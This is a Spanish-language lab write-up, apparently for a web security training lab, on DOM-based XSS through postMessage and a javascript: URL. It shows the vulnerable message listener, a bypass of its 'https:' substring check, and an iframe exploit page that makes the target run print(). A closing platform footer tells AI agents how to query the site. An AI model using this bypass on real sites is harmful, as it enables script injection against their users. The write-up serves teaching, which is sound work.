> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/dom/dom-xss-via-web-messages-and-javascript-url.md).

# XSS DOM mediante Web Messages y una URL JavaScript

### DOM XSS usando mensajes web y una URL de JavaScript

Laboratorio que demuestra una vulnerabilidad DOM que provoca redirección/ejecución mediante `postMessage`. El objetivo: construir una página HTML en el servidor de explotación que envíe un mensaje para ejecutar `print()` en la página objetivo.

```javascript
<script>
window.addEventListener('message', function(e) {
var url = e.data;
if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
    location.href = url;
    }
}, false);
</script>
```

La página objetivo escucha los mensajes publicados y trata los datos recibidos como una URL. Si la cadena recibida contiene `HTTP:` o `https:`, la página redirige (`location.href`) a ese valor. El código del lado objetivo es el siguiente:

```javascript
window.postMessage('https://jord4n.pro', '*');
```

desencadena con éxito una redirección a `https://jord4n.pro`.

<figure><img src="/files/ca086872b0ccf9af7cec337a6ca2fa5b078942b8" alt=""><figcaption></figcaption></figure>

### Contorneo de la validación

La validación solo bloquea cadenas que no contienen `HTTP:` o `https:` (comprobando mediante `indexOf`). El `indexOf > -1` lógica se aprovecha, por lo tanto, añadiendo un `//https://...` fragmento después de un `JavaScript:` esquema, de modo que la condición se cumpla mientras se mantiene una URL que comienza con `JavaScript:`. Por ejemplo:

```javascript
window.postMessage('javascript:alert(0)', '*');
```

* Para abrir una alerta:

```javascript
window.postMessage('javascript:alert(0)//https://google.com', '*');
```

<figure><img src="/files/dbb0977e4f0071b26ea45101a3e10a898143339d" alt=""><figcaption></figcaption></figure>

* Para llamar a `print()`:

```javascript
window.postMessage('javascript:print()//https://google.com', '*');
```

El `//https://google.com` fragmento solo se usa para satisfacer la `indexOf('https:') > -1` condición.

<figure><img src="/files/1733a07581707d6c9203ec1922ec92b7c6e8254d" alt=""><figcaption></figcaption></figure>

#### Explotación final

La página de ataque puede incluir un iframe hacia la página vulnerable y, al cargarse, enviar el mensaje malicioso al contenido incrustado. Ejemplo de implementación para colocar en el servidor de explotación:

{% code overflow="wrap" %}

```javascript
<iframe
  src="https://0a3c00e80375c1ca825c9cec00b50011.web-security-academy.net/"
  width="500"
  height="500"
 onload="this.contentWindow.postMessage('javascript:print()//https://google.com', '*'); "
</iframe>
```

{% endcode %}

<figure><img src="/files/6cdc79287902984c2935a2db6abc51a6442f69ef" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/dom/dom-xss-via-web-messages-and-javascript-url.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
